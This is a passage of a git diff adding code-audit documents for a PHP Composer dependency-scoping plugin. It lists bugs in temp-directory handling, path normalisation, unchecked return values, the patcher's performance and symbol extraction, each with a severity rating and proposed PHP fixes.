`'acme\myplugin\deps6e3fae…'`. +- If a prefix ever *does* contain brackets, an arbitrary chunk of it is deleted, changing the + identifier namespace between runs. + +**Fix.** + +```php +$prefix = strtolower( preg_replace( '/[^a-zA-Z0-9]+/', '', $cfg['prefix'] ) ); +``` + +(and, better, use a stable hash: `substr( md5( $cfg['prefix'] ), 0, 8 ) . '_'` — immune to +casing, separators and length). + +**Benefit.** Predictable, injection-safe identifier prefix; the code says what it means. +**Downside.** Changes the `$files` identifiers for prefixes containing separators, so one +rebuild is needed. Harmless (identifiers are regenerated every run). +**Severity:** Medium. **Effort:** S. + +--- + +## 14. Temp directory: weak randomness, project-dir pollution, no cleanup on failure + +**Location:** `src/Plugin.php:58` + +```php +'temp' => $this->path( getcwd(), 'tmp-' . substr( str_shuffle( md5( microtime() ) ), 0, 10 ) ), +``` + +**14a — Weak randomness.** `str_shuffle()` uses the non-cryptographic Mt19937 engine, and it +shuffles a *fixed 32-character multiset* (the md5 hex digest). Taking the first 10 characters of +a shuffle of a known multiset yields far less entropy than 10 independent hex characters. Since +the directory sits inside the project (not a world-writable `/tmp`), this is a robustness and +collision concern rather than a classic symlink-attack vector — but on a **shared CI runner with +a shared checkout**, or with two Composer processes started in the same microsecond, two runs can +collide and clobber each other's `source/`, `destination/` and `postinstall.php`. + +**14b — `mkdir()` is unchecked and racy.** `createFolder()` (`src/Plugin.php:278-282`): + +```php +if ( ! file_exists( $path ) ) { + mkdir( $path, 0755, true ); +} +``` + +Classic TOCTOU, and the return value is dropped. If `mkdir` fails (permissions, read-only +filesystem, path length limit on Windows — `MAX_PATH` is very reachable given +`tmp-XXXXXXXXXX/source/vendor/…`), execution continues and every subsequent +`file_put_contents()` fails silently, ending in confusing downstream errors. + +**14c — Never cleaned up on failure.** `remove($temp)` exists **only** at +`scripts/postinstall.php:67`, the last line of the happy path. Every failure mode above +(#5, #6, #7, #8, #9, #11, #12) leaves a `tmp-XXXXXXXXXX/` directory in the project root +containing a full `vendor/` tree — hundreds of MB. There is no `register_shutdown_function`, no +`try/finally`, and no signal handling, so Ctrl-C during the nested install always orphans one. +Repeated failed runs accumulate them, each with a *different* random name. + +**14d — `.gitignore` burden.** Because the name is random, users cannot ignore a fixed path; +they need a `tmp-*` glob, which the README does not mention. Orphaned trees get committed or +break `git status` hygiene. + +**14e — Computed once in `activate()`, used per event.** `$this->tempDir` is fixed at activation. +This is fine for the single-event-per-process reality (see #19) but means two `execute()` calls in +one process would share and then delete the same temp dir mid-flight. + +**Fix.** + +```php +// activate() +'temp' => $this->path( getcwd(), '.wpify-scoper-tmp-' . bin2hex( random_bytes( 6 ) ) ), +``` + +```php +// createFolder() +private function createFolder( string $path ) { + if ( is_dir( $path ) ) { + return; + } + + if ( ! mkdir( $path, 0755, true ) && ! is_dir( $path ) ) { + throw new \RuntimeException( sprintf( 'wpify-scoper: cannot create directory %s', $path ) ); + } +} +``` + +```php +// execute() +register_shutdown_function( function () { + if ( is_dir( $this->tempDir ) ) { + $this->removeDirectory( $this->tempDir ); + } +} ); +``` + +and move the `remove($temp)` responsibility out of `postinstall.php` (it currently deletes the +script it is executing from — which works on POSIX but is fragile on Windows, where the file may +be locked). Document a `.gitignore` entry, or use a single fixed dot-prefixed parent +(`.wpify-scoper/`) so one `.gitignore` line covers it. + +**Benefit.** No leaked multi-hundred-MB trees; no collisions; a single ignorable path. +**Downside.** `register_shutdown_function` will not fire on `SIGKILL`; acceptable. +**Severity:** Medium. **Effort:** M. + +--- + +## 15. The patcher rebuilds a 3,392-needle `str_replace` for every single file + +**Location:** `config/scoper.inc.php:79-103` + +```php +usort( $config['exclude-classes'], function ( $a, $b ) { return strlen( $b ) - strlen( $a ); } ); + +$searches = array(); $replacements = array(); + +foreach ( $config['exclude-classes'] as $symbol ) { /* 2 entries each */ } +foreach ( $config['exclude-namespaces'] as $symbol ) { /* 2 entries each */ } + +$content = str_replace( $searches, $replacements, $content, $count ); +``` + +This is inside the patcher closure, so it runs **once per patched file**. + +**Measured** (this machine, PHP 8.x, default globals `wordpress` + `woocommerce` + +`action-scheduler` + `wp-cli`, giving 1,219 `exclude-classes` and 477 `exclude-namespaces` → +**3,392 needles**), against a 14 KB synthetic PHP file: + +| step | per file | +|---|---| +| `usort` (first call, unsorted) | 0.33 ms | +| `usort` (subsequent, already sorted) | 0.23 ms | +| building `$searches`/`$replacements` | 0.14 ms | +| `str_replace` with 3,392 needles | **4.27 ms** | +| **total** | **~4.65 ms** | + +Extrapolated: **~23 s for 5,000 files, ~90 s for 20,000 files** of pure patcher overhead, on top +of php-scoper's own parsing. Cost scales with file size, so a real vendor tree (many files far +larger than 14 KB) will be worse. + +**Correction to the premise:** the `usort` is *not* the dominant cost. `$config` is captured +**by value** via `use ($config)`, and the closure instance is reused, so the array stays sorted +after the first call — subsequent sorts are the near-best case (0.23 ms, ~5 % of the total). +The real cost is `str_replace` itself (92 %), which is inherent to the approach, plus the array +rebuild (3 %). + +**Fix.** Hoist everything invariant out of the closure: + +```php +$excludeClasses = $config['exclude-classes'] ?? array(); +$excludeNamespaces = $config['exclude-namespaces'] ?? array(); + +usort( $excludeClasses, static fn( $a, $b ) => strlen( $b ) - strlen( $a ) ); + +$searches = array(); +$replacements = array(); + +foreach ( array_merge( $excludeClasses, $excludeNamespaces ) as $symbol ) { + $searches[] = "\\$prefix\\$symbol"; + $replacements[] = "\\$symbol"; + $searches[] = "use $prefix\\$symbol"; + $replacements[] = "use $symbol"; +} + +'patchers' => array( + function ( string $filePath, string $prefix, string $content ) use ( $searches, $replacements ): string { + ... + return str_replace( $searches, $replacements, $content ); + }, +), +``` + +That reclaims the 0.37 ms/file of sort+build (~8 %). For the remaining 92 %, the real win is a +**single `preg_replace_callback`** over `\\?Prefix\\([A-Za-z0-9_\\]+)` with an +`isset($excludedLookup[$symbol])` hash test — one pass over the content instead of 3,392, and +it also fixes a correctness issue: `str_replace` with `"\\$prefix\\$symbol"` matches on prefixes, +so an excluded class `WP` will also rewrite `\Prefix\WPSomethingElse` → `\WPSomethingElse`. The +length-descending `usort` is a partial mitigation for that, but only a partial one — it does not +help when the shorter symbol is a strict prefix of an unrelated *unlisted* name. + +Also note `$count` (`config/scoper.inc.php:83,103`) is assigned and never read — dead. + +**Benefit.** Roughly an order of magnitude off the patcher for large trees, plus removal of a +real prefix-collision correctness bug. +**Downside.** The `preg_replace_callback` rewrite needs test coverage; the `str_replace` version +is easier to reason about. Doing only the hoist is a safe, zero-risk first step. +**Severity:** Medium. **Effort:** M (S for the hoist alone). + +--- + +## 16. `path()` collapses only a single doubled separator and mangles absolute inputs + +**Location:** `src/Plugin.php:110-114` + +```php +public function path( ...$parts ) { + $path = join( DIRECTORY_SEPARATOR, $parts ); + + return str_replace( DIRECTORY_SEPARATOR . DIRECTORY_SEPARATOR, DIRECTORY_SEPARATOR, $path ); +} +``` + +**Verified behaviour:** + +| call | result | +|---|---| +| `path('/cwd', '/abs/deps')` | `/cwd/abs/deps` — **absolute input silently made relative** | +| `path('/cwd', 'deps/')` | `/cwd/deps/` — trailing separator preserved | +| `path('/cwd', 'a//b')` | `/cwd/a/b` | +| `path('/cwd', 'a///b')` | `/cwd/a//b` — **only one pass**, triples survive | + +**Consequences.** + +- **Absolute `folder`/`temp` are silently relocated.** `"folder": "/var/www/shared/deps"` becomes + `/var/www/shared/deps`. The README does not say `folder` must be relative, so this is + a real trap; the user gets a deeply nested directory in their project with no error. +- **Windows absolute paths are destroyed.** `path(getcwd(), 'C:\deps')` → `C:\proj\C:\deps`, + which is not a valid path at all. +- **Trailing separators propagate into the generated `postinstall.php`** and, on Windows, produce + the unterminated-string parse error described in #8b. +- The single-pass collapse means `str_replace` cannot normalise `a///b`, so odd user input leaks + through into the php-scoper `--config`/`--output-dir` arguments. + +**Fix.** + +```php +public function path( ...$parts ) { + $parts = array_filter( $parts, static fn( $p ) => '' !== $p && null !== $p ); + $path = join( DIRECTORY_SEPARATOR, $parts ); + + return rtrim( preg_replace( '#[/\\\\]+#', DIRECTORY_SEPARATOR, $path ), DIRECTORY_SEPARATOR ); +} +``` + +and add an explicit absolute-path check at the call sites in `activate()`: + +```php +private function resolve( string $value ): string { + $isAbsolute = '' !== $value + && ( $value[0] === '/' || $value[0] === '\\' || preg_match( '#^[A-Za-z]:[\\\\/]#', $value ) ); + + return $isAbsolute ? $this->path( $value ) : $this->path( getcwd(), $value ); +} +``` + +**Benefit.** Absolute `folder`/`temp` work as users expect; Windows paths survive; no trailing +separators leak downstream. +**Downside.** `rtrim` changes results for anyone currently depending on a trailing separator +(nothing in the codebase does). Absolute-path support is a behaviour change — but the current +behaviour is not something anyone can be depending on deliberately. +**Severity:** Medium. **Effort:** S. + +--- + +## 17. `getCapabilities()` is dead code + +**Location:** `src/Plugin.php:104-108` + +```php +public function getCapabilities() { + return array( CommandProvider::class => self::class ); +} +``` + +Verified: `src/Plugin.php:16` declares +`class Plugin implements PluginInterface, EventSubscriberInterface` — **not** +`Composer\Plugin\Capable` (which does exist in the installed Composer, +`vendor/composer/composer/src/Composer/Plugin/Capable.php:22`). Composer's `PluginManager` only +calls `getCapabilities()` on `Capable` instances, so this method is never invoked. + +Worse, if `Capable` were added, the declaration is wrong twice over: it maps to `self::class`, +and `Plugin` does not implement `Composer\Plugin\Capability\CommandProvider::getCommands()`. +Composer would throw +`RuntimeException: Plugin Wpify\Scoper\Plugin must implement Composer\Plugin\Capability\CommandProvider`. + +This is the root cause of #4 (the `NO_DEV` constants being unreachable): there is no Composer +command registration at all, only `bin/wpify-scoper`. + +**Fix.** Either delete `getCapabilities()` and the unused `CommandProvider` import +(`src/Plugin.php:9`), or implement it properly: + +```php +class Plugin implements PluginInterface, EventSubscriberInterface, Capable { + public function getCapabilities() { + return array( CommandProvider::class => CommandsProvider::class ); + } +} +``` + +with a separate `CommandsProvider implements CommandProvider` returning `wpify-scoper:install` / +`wpify-scoper:update` commands that carry a real `--no-dev` option. + +**Benefit.** Either less misleading code, or first-class `composer wpify-scoper:update --no-dev`. +**Downside.** Implementing it properly is the M-effort half of #4. +**Severity:** Medium. **Effort:** S (delete) / M (implement). + +--- + +## 18. Empty `prefix` is a silent no-op + +**Location:** `src/Plugin.php:127` + +```php +if ( ! empty( $this->prefix ) ) { + // ... the entire body of execute() +} +``` + +`$prefix` defaults to `null` (`src/Plugin.php:55,59`) and is only set from +`extra.wpify-scoper.prefix`. If a user forgets it, misspells the `extra` key +(`wpify_scoper`, `wpify-scoper.prefix` nested wrongly), or writes `"prefix": ""`, **`composer +install` completes normally and nothing at all happens** — no message, no warning, no `deps/` +folder. The README's step 3 makes `prefix` the one mandatory option, so this is the single most +likely first-run mistake, and it produces zero feedback. + +`empty()` also rejects the string `"0"` — a legal (if silly) prefix. + +**Fix.** + +```php +if ( empty( $this->prefix ) ) { + $this->io->writeError( + 'wpify-scoper: extra.wpify-scoper.prefix is not set — skipping dependency scoping.' + ); + + return; +} +``` + +`$this->io` is already stored in `activate()` (`src/Plugin.php:53`) and is currently never used +anywhere in the class — this is a good first use. Combine with the prefix validation from #8. + +**Benefit.** The most common misconfiguration becomes self-diagnosing. +**Downside.** A warning on every install for users who intentionally have the plugin installed +but unconfigured. Gate it on the `extra.wpify-scoper` key being present at all if that matters. +**Severity:** Medium. **Effort:** S. + +--- + +## 19. `require_once` in `createScoperConfig()` returns `true` on a second include → `exit` + +**Location:** `src/Plugin.php:212-216` + +```php +$config = require_once $config_path; + +if ( ! is_array( $config ) ) { + exit; +} +``` + +`require_once` returns the file's return value **only on the first inclusion**. On any subsequent +inclusion in the same process it returns `true` (having done nothing), so `$config === true`, +`is_array()` fails, and the plugin calls a bare **`exit;`** — terminating the entire Composer +process with status 0, mid-run, with no output whatsoever. + +**When can `createScoperConfig()` run twice in one process?** I traced this carefully: + +- `composer install` dispatches `POST_INSTALL_CMD` once; `composer update` dispatches + `POST_UPDATE_CMD` once. Neither dispatches both. So the default path calls `execute()` once. +- The nested `runInstall()` constructs a fresh `Composer\Console\Application` **in the same PHP + process**. That nested Composer builds its own `EventDispatcher` and its own `PluginManager` + from `$temp/source`, so `Wpify\Scoper\Plugin` is not re-registered there — unless + `composer-deps.json` itself requires `wpify/scoper`, or the user has it installed as a + **global** Composer plugin (globals are loaded by every Composer instance). In the global case + `execute()` *does* run again in the same process and hits the `exit`. +- `bin/wpify-scoper` calls `activate()` + `execute()` exactly once. + +**UNCONFIRMED:** I did not reproduce a double invocation end-to-end. The global-plugin path is +the most plausible trigger and follows from Composer's plugin loading, but I have not verified it +against a real global install. What *is* certain is that the code has no defence and that the +failure mode — a bare `exit` from inside a library — is severe out of proportion to its +likelihood. + +Regardless of reachability, **`exit` inside a Composer plugin is wrong**: it bypasses Composer's +error reporting, its shutdown handlers, and its exit-code contract, so the caller sees success. + +**Fix.** + +```php +$config = require $config_path; // plain require: always returns the value + +if ( ! is_array( $config ) ) { + throw new \RuntimeException( sprintf( + 'wpify-scoper: %s must return an array.', $config_path + ) ); +} +``` + +`config/scoper.config.php` is a pure `return array(...)` with no side effects +(`config/scoper.config.php:3-7`), so `require` is safe and idempotent. + +The same pattern exists at `config/scoper.inc.php:5` +(`$config = require_once __DIR__ . '/scoper.config.php';`) — that file runs in its own php-scoper +process so the risk is lower, but it should be `require` for the same reason. + +**Benefit.** Removes a silent whole-process abort; makes the include order-independent. +**Downside.** None. +**Severity:** Medium. **Effort:** S. + +--- + +## 20. `array_merge_recursive` on the plugin side never de-duplicates + +**Location:** `src/Plugin.php:223-256` + +```php +$config = array_merge_recursive( $config, require $this->path( $symbols_dir, 'wordpress.php' ) ); +``` + +**Semantics.** All symbol files use list-style (numeric) keys under `exclude-classes`, +`exclude-functions`, `exclude-namespaces`, `exclude-constants`, so `array_merge_recursive` +renumbers and **appends** — the correct behaviour here. The string keys already in `$config` +(`prefix`, `source`, `destination`) are not present in the symbol files, so there is no +string-key-collision-into-array surprise. **This part is fine.** + +**The gap.** `scripts/extract-symbols.php:137-140` applies `array_unique()` *within* each source, +but the plugin never applies it *across* sources. WordPress and WooCommerce overlap +substantially (WooCommerce redeclares WP-adjacent helpers, and both list overlapping namespaces), +so the merged arrays carry duplicates straight into: + +- `var_export()` into `$temp/scoper.config.php` (`src/Plugin.php:263`) — a larger file parsed by + php-scoper on every run, +- the `$searches`/`$replacements` arrays in the patcher (#15) — duplicated needles are pure waste + on the hot path, +- php-scoper's own symbol tables. + +**Measured scale (not the ~200k claimed):** `symbols/wordpress.php` holds **5,332** symbols +(4,190 functions / 540 constants / 524 classes / 78 namespaces); `woocommerce.php` **1,994**; +`wp-cli.php` **75**; `action-scheduler.php` **93**; `plugin-update-checker.php` **33**. Total +under **7,600** across all five. Memory/parse cost is therefore modest — a few MB — and this is +**not** a performance problem worth restructuring for. The duplication is a correctness/tidiness +issue that also feeds #15. + +**Fix.** + +```php +foreach ( array( 'exclude-classes', 'exclude-functions', 'exclude-constants', 'exclude-namespaces' ) as $key ) { + if ( isset( $config[ $key ] ) ) { + $config[ $key ] = array_values( array_unique( $config[ $key ] ) ); + } +} +``` + +immediately before `var_export()` at `src/Plugin.php:263`. This also happens to seed the keys +needed for #5 if combined with a `+=` default. + +Separately, `symbols/wp-cli.php` was extracted from `vendor/wp-cli/wp-cli` +(`scripts/extract-symbols.php:155`) and contains **test-suite classes** — `WpOrgApiTest`, +`InflectorTest`, `SynopsisParserTest`, `ProcessTest`, `UtilsTest`, `FileCacheTest`, +`MockRegularLogger`, `MockQuietLogger`. These are not WP-CLI runtime API and should not be in the +exclusion list; they widen the prefix-collision surface described in #15. `get_files()` +(`scripts/extract-symbols.php:94`) filters `/vendor/` and `/wp-content/` but not `/tests/`. + +**Benefit.** Smaller generated config, fewer needles on the hot path, no bogus test-class +exclusions. +**Downside.** None. +**Severity:** Low. **Effort:** S. + +--- + +## 21. `symbols/plugin-update-checker.php` uses `expose-classes`, which is then neutralised + +**Locations:** `symbols/plugin-update-checker.php`, `config/scoper.inc.php:108-110`, +`scripts/postinstall.php:51-52` + +Verified: `symbols/plugin-update-checker.php` is the only symbol file using **`expose-classes`** +(33 entries); every other file uses `exclude-*`. The pipeline then works against it: + +- `config/scoper.inc.php:108-110` sets `expose-global-classes` / `-functions` / `-constants` to + `false`; +- `scripts/postinstall.php:51-52` **comments out every `humbug_phpscoper_expose_*` call and every + single-line `if (!function_exists(...)) {...}` block** in `vendor/scoper-autoload.php` — the + very mechanism `expose-classes` relies on. + +So enabling `"globals": ["plugin-update-checker"]` asks php-scoper to expose 33 classes and then +deletes the aliases that would expose them. Combined with #5 (that file supplies no +`exclude-classes`), the option is doubly broken: it fatals before it can even be wrong. + +**UNCONFIRMED:** whether the `expose-classes` entries were intentional (an earlier design where +PUC classes had to stay global for cross-plugin compatibility) or a copy-paste slip. The +`extract_symbols` call for PUC is commented out at `scripts/extract-symbols.php:153`, suggesting +the file is hand-maintained and stale. + +**Fix.** Decide the intent. If PUC should be scoped like everything else, regenerate the file +with `exclude-*` keys (and re-enable line 153 pointed at the current PUC version — note the +commented line targets `Puc/v4p11` while `vendor/composer/autoload_static.php` shows the +installed package is `load-v5p7.php`). If PUC classes genuinely must stay global, `exclude-*` +is still the right key — `expose-*` plus the postinstall commenting cannot work. + +**Benefit.** A documented `globals` value stops being a guaranteed crash. +**Downside.** Requires deciding on PUC semantics, which needs product knowledge I do not have. +**Severity:** Low (as a bug it is subsumed by #5; as a design inconsistency it is worth fixing). +**Effort:** S. + +--- + +## 22. `autorun` uses strict `=== false` + +**Location:** `src/Plugin.php:119-125` + +```php +if ( + isset( $extra['wpify-scoper']['autorun'] ) && + $extra['wpify-scoper']['autorun'] === false && + ( $event->getName() === ScriptEvents::POST_UPDATE_CMD || $event->getName() === ScriptEvents::POST_INSTALL_CMD ) +) { + return; +} +``` + +`"autorun": 0`, `"autorun": "false"`, `"autorun": "0"`, `"autorun": null` all fail the strict +comparison, so scoping runs anyway. JSON booleans are the documented form +(`README.md:57` shows `"autorun": true`), so most users will be fine — but the failure is silent +and the user's stated intent is inverted. + +Note the event-name guard is *correct*: it deliberately lets `bin/wpify-scoper`'s +`SCOPER_*_CMD` events through, so manual runs still work with `autorun: false`. Good design, +worth a comment. + +Minor: `$extra` is re-read from the event (`src/Plugin.php:117`) while every other config value +comes from `activate()`. Both read `$composer->getPackage()->getExtra()` on the same root +package, so the values are identical — this is a consistency wart, not a bug. Reading it once in +`activate()` into `$this->autorun` would be cleaner. + +**Fix.** + +```php +$autorun = filter_var( + $extra['wpify-scoper']['autorun'] ?? true, + FILTER_VALIDATE_BOOLEAN, + FILTER_NULL_ON_FAILURE +); + +if ( false === $autorun && in_array( $event->getName(), array( ScriptEvents::POST_UPDATE_CMD, ScriptEvents::POST_INSTALL_CMD ), true ) ) { + return; +} +``` + +**Benefit.** Honours the user's intent for the common truthy/falsy spellings. +**Downside.** None. +**Severity:** Low. **Effort:** S. + +--- + +## 23. Enumeration of unchecked return values + +Complete list, with the concrete consequence of each failure. + +### `src/Plugin.php` + +| Line | Call | Consequence when it fails | +|---|---|---| +| 135 | `file_get_contents( composerjson )` | `false` → `json_decode(false)` → `null` → **fatal**, see #6 | +| 135 | `json_decode(...)` | `null` on malformed JSON → **fatal**, see #6 | +| 141 | `createJson(...)` | Silent; next run re-creates it | +| 148 | `file_get_contents( postinstall.php )` | `false` → all `str_replace` no-ops → `file_put_contents` writes `""` → the composer script runs an **empty `postinstall.php`**: php-scoper and dump-autoload succeed, `deps/` is never updated, and the run reports success | +| 157 | `file_put_contents( postinstallPath )` | Silent; script step 3 fails with "file not found", composer aborts, temp dir orphaned | +| 167 | `realpath( php-scoper.phar )` | `false` → malformed command, see #11 | +| 178 | `copy( lock, composerLockPath )` | Silent; nested install resolves from scratch, producing a **different dependency set than the lock intended** — a reproducibility bug, not just a slowdown | +| 197 | `runInstall(...)` return | Failure reported as success, see #12 | +| 259 | `copy( custom_path, temp )` | Silent; `scoper.custom.php` customisations silently not applied — `config/scoper.inc.php:9` just skips the missing file, so the user's patchers vanish with no message | +| 262 | `copy( inc_path, temp )` | Silent; php-scoper then fails with "config file not found" | +| 263 | `file_put_contents( scoper.config.php )` | Silent; `config/scoper.inc.php:5` requires a missing file → **fatal in the php-scoper process** | +| 280 | `mkdir(...)` | Silent, racy — see #14b | +| 286 | `json_encode(...)` | `false` on invalid UTF-8 or recursion → writes `""` → nested Composer fails on an empty `composer.json` | +| 287 | `file_put_contents( json )` | Silent; same | + +`createJson()` (`src/Plugin.php:284-288`) is worth special mention: it is the function that writes +the nested `composer.json`, and neither its `json_encode` nor its `file_put_contents` is checked. +An invalid-UTF-8 string anywhere in the user's `composer-deps.json` (a package description with a +bad byte, for instance) silently produces a zero-byte `composer.json`. + +### `scripts/postinstall.php` + +| Line | Call | Consequence when it fails | +|---|---|---| +| 4 | `opendir( $src )` | `false` → `readdir(false)` → **TypeError**, abort mid-delete leaving a partial tree | +| 6 | `readdir(...)` | A read error is indistinguishable from end-of-directory → silent partial delete, then `rmdir` fails, leaving a partial tree | +| 12 | `unlink( $full )` | Silent; `rmdir` then fails | +| 18 | `rmdir( $src )` | Silent; empty dirs accumulate | +| 40 | `file_get_contents( autoload_static )` | Truncates the file to zero bytes, see #9 | +| 46 | `file_put_contents( autoload_static )` | Silent; the `$files` fix is not applied → **duplicate-bootstrap bugs at runtime**, the exact problem this script exists to prevent | +| 50 | `file_get_contents( scoper_autoload )` | Truncates, see #9 | +| 53 | `file_put_contents( scoper_autoload )` | Silent; exposed symbols leak into the global namespace | +| 58 | `copy( destination/composer.lock, cwd/lock )` | The lock was already deleted at line 57 → **the user's lock file is gone** and not replaced; the next run resolves from scratch | +| 63 | `rename(...)` | Catastrophic, see #1 | + +**Fix.** A single guard helper used everywhere, and `exit(1)` on any failure so composer aborts +the chain: + +```php +function must( $result, string $what ) { + if ( false === $result || null === $result ) { + fwrite( STDERR, "wpify-scoper: {$what} failed\n" ); + exit( 1 ); + } + + return $result; +} +``` + +For `src/Plugin.php`, throw `RuntimeException` (Composer renders it cleanly) rather than +`exit`. + +**Benefit.** Every failure becomes visible and stops the pipeline before it can do damage. +Several of these currently produce *silently wrong output* rather than an error, which is the +worst kind of failure for a build tool. +**Downside.** More code; some previously "working" runs will start failing loudly. +**Severity:** Low individually, Medium–High in aggregate. **Effort:** M. + +--- + +## 24. `bin/wpify-scoper` issues + +**Location:** `bin/wpify-scoper` + +**24a — `NullIO` swallows everything.** Line 31: `$ioInterace = new NullIO();`. `NullIO::isInteractive()` returns `false` and every prompt returns its default. Consequences: + +- Authentication prompts for private repositories in `composer-deps.json` cannot be answered — + the run fails with an opaque error instead of asking for credentials. +- Composer warnings raised while building the root `Composer` object (deprecated config, platform + checks, `allow-plugins` prompts) are discarded. + +Note the *nested* install does print, because `runInstall()` builds its own `ConsoleOutput` +(`src/Plugin.php:291`) — so output is inconsistent: nothing from the outer setup, everything from +the inner install. + +**Fix:** `new ConsoleIO( new ArgvInput(), new ConsoleOutput(), new HelperSet() )`, or +`Factory::createOutput()` + `ConsoleIO`. + +**24b — No exit code.** The script ends at line 41 with no `exit()`. Always returns 0. See #12. + +**Fix:** `exit( (int) $scoper->execute( $fakeEvent ) );` once `execute()` returns a code. + +**24c — `argv` beyond `$argv[1]` ignored.** No `--no-dev`, no `--working-dir`, no `-v`, no +`--help`. `wpify-scoper install --no-dev` silently installs dev dependencies (#4). +`wpify-scoper install extra garbage` silently ignores the extras. + +**Fix:** Use `Symfony\Component\Console\Input\ArgvInput` with a defined `InputDefinition`, or a +tiny `getopt()`. At minimum, reject unknown arguments. + +**24d — `$vendorRoot = __DIR__ . '/../../..'` (line 9).** Assumes installation at +`vendor/wpify/scoper/bin/`. Running `./bin/wpify-scoper` from a clone resolves to the parent of +the project and fails on `require_once $vendorRoot . '/autoload.php'` with a fatal +"Failed opening required". Composer's generated `vendor/bin/` proxy makes the installed case work, +so this only bites contributors — but it bites them with an unhelpful error. + +**Fix:** + +```php +$autoloads = array( + __DIR__ . '/../vendor/autoload.php', // standalone clone + __DIR__ . '/../../../autoload.php', // installed in vendor/ +); + +foreach ( $autoloads as $autoload ) { + if ( is_file( $autoload ) ) { + require_once $autoload; + break; + } +} + +if ( ! class_exists( Plugin::class ) ) { + fwrite( STDERR, "wpify-scoper: could not locate the Composer autoloader.\n" ); + exit( 1 ); +} +``` + +**24e — `Factory::createComposer()` is not wrapped.** A missing or invalid root `composer.json` +throws an uncaught exception with a full stack trace instead of a message. + +**Benefit (all of 24).** The CLI entry point becomes usable in release scripts: it reports +failures, supports `--no-dev`, and works from a clone. +**Downside.** None. +**Severity:** Low (Medium once #4 and #12 are fixed, since this is where the flags must live). +**Effort:** S. + +--- + +## Suggested order of work + +1. **#1, #2** — stop the data-loss paths. Small, self-contained, highest value. +2. **#5, #6, #9, #11** — cheap guards that turn fatals into messages. +3. **#7** — one-line-ish fix for a first-run blocker on macOS/Windows. +4. **#12, #18** — make failures and misconfiguration visible. +5. **#3** — the correctness bug with the widest blast radius, but needs care and a test. +6. **#4, #17** — decide the command-provider story and fix `--no-dev` together. +7. **#8** — replace templating with a JSON side-car; unlocks linting/testing `postinstall.php`. +8. **#13, #14, #15, #16, #20, #23** — hardening and performance. +9. **#21, #22, #24** — cleanups. + +## Testing gap + +There is no test suite. Every finding above was reachable by reading, which means none of them +would have been caught by CI. The highest-leverage structural change is a single integration +fixture: a tiny `composer-deps.json` (one dependency with a `files` autoload entry and one global +polyfill stub), scoped end to end, asserting that + +- `deps/composer/autoload_static.php` has prefixed `$files` keys and **unmodified `$classMap` + keys** (#3), +- `deps/` exists and the temp dir does not (#1, #14), +- a non-zero nested exit code propagates (#12), +- `globals: []` completes without a fatal (#5). + +That fixture alone would have caught #1, #3, #5, #9 and #12. diff --git a/docs/improvements/03-symbols-and-scoper-config.md b/docs/improvements/03-symbols-and-scoper-config.md new file mode 100644 index 0000000..c471a74 --- /dev/null +++ b/docs/improvements/03-symbols-and-scoper-config.md @@ -0,0 +1,1035 @@ +# 03 — Symbol extraction & php-scoper configuration + +Audit of `scripts/extract-symbols.php`, `symbols/*.php`, `config/scoper.inc.php`, +`config/scoper.config.php` and `Wpify\Scoper\Plugin::createScoperConfig()`. + +All numbers below were measured on this checkout (PHP 8.4.20, nikic/php-parser 5.x) +with throwaway scripts in the scratchpad. Nothing under `symbols/` was modified. + +**Versions under audit** (from `vendor/composer/installed.json`): + +| package | installed | +|---|---| +| `johnpbloch/wordpress` | 7.0.2 | +| `wpackagist-plugin/woocommerce` | 10.9.4 | +| `woocommerce/action-scheduler` | 4.0.0 | +| `wp-cli/wp-cli` | v2.12.0 | +| `yahnis-elsts/plugin-update-checker` | **v5.7** | +| `wpify/php-scoper` | 0.18.19 | + +**Current symbol inventory:** + +| file | bytes | total | functions | classes | namespaces | constants | +|---|---|---|---|---|---|---| +| `symbols/wordpress.php` | 201 746 | 5 332 | 4 190 | 524 | 78 | 540 | +| `symbols/woocommerce.php` | 94 509 | 1 994 | 1 018 | 595 | 374 | 7 | +| `symbols/action-scheduler.php` | 4 078 | 93 | 19 | 71 | 3 | 0 | +| `symbols/wp-cli.php` | 2 638 | 75 | 6 | 29 | 22 | 18 | +| `symbols/plugin-update-checker.php` | 1 025 | 33 | — | — | — | — (33 under `expose-classes`) | + +--- + +## Summary of findings + +| # | Finding | Severity | Effort | +|---|---|---|---| +| F1 | Patcher `str_replace` un-prefixes unrelated symbols (unanchored prefix match) | **High** | S | +| F2 | `resolve()` never descends into function bodies — 18 real symbols missed | **High** | S | +| F3 | PUC patchers are stale *and* actively break PUC v5 (`E_USER_ERROR` fatal) | **High** | S | +| F4 | `symbols/plugin-update-checker.php` is stale, uses the wrong config key, and is neutered by `postinstall.php` | **High** | S | +| F5 | `globals: ["plugin-update-checker"]` crashes with a `TypeError` | Medium | S | +| F6 | Top-level `const` never collected — 97 WP constants missing | Medium | S | +| F7 | Patcher rebuilds + re-sorts a 3 392-needle table for every scoped file (~1.33 ms/file) | Medium | S | +| F8 | No provenance/version metadata in `symbols/*.php`; unpinned sources; FS-ordered output | Medium | M | +| F9 | Twig `twig_*` patchers target functions removed from Twig 3.x | Medium | S | +| F10 | `If_` ignores `else`/`elseif`; `Try_`/`Switch_`/`Foreach_`/`Declare_` never walked | Medium | S | +| F11 | Only 5 hardcoded `globals`; no way to supply your own symbol list | Medium | M | +| F12 | `class_alias()` targets not collected (46 across WP/Woo/wp-cli) | Low | S | +| F13 | Dynamic `define()` not collected (6 occurrences) | Low | S | +| F14 | `namespace { }` (null name) would fatal the extractor | Low | S | +| F15 | Guzzle patcher is a dead no-op | Low | S | +| F16 | `config/scoper.config.php` ships three always-overwritten defaults | Low | S | +| F17 | `require_once` in `createScoperConfig()` → silent bare `exit` on second call | Low | S | +| F18 | wp-cli test-suite symbols (28) leak into the exclusion list | Low | S | +| F19 | `PhpVersion::fromString("8.1.0")` pin (currently harmless) | Low | S | +| F20 | 1.6 % duplication from `array_merge_recursive`; 370/374 Woo namespaces redundant | Low | S | + +--- + +## 1. Correctness of extraction + +### F2 — `resolve()` never descends into function bodies (High, S) + +`scripts/extract-symbols.php:51-78` dispatches on six node types and recurses only +into `Node\Stmt\If_`. It never walks a `Function_` body, so any symbol declared +inside a function is lost. + +I reimplemented `resolve()` verbatim and diffed it against a full-AST ground truth +(every global-namespace `Class_`/`Interface_`/`Trait_`/`Enum_`/`Function_`) over the +same file set the script uses: + +| source | files | classes found / truth | functions found / truth | **missed** | +|---|---|---|---|---| +| wordpress | 1 295 | 524 / 525 | 4 190 / 4 205 | **16** | +| woocommerce | 3 529 | 595 / 595 | 1 018 / 1 020 | **2** | +| action-scheduler | 95 | 71 / 71 | 19 / 19 | 0 | +| wp-cli | 182 | 29 / 29 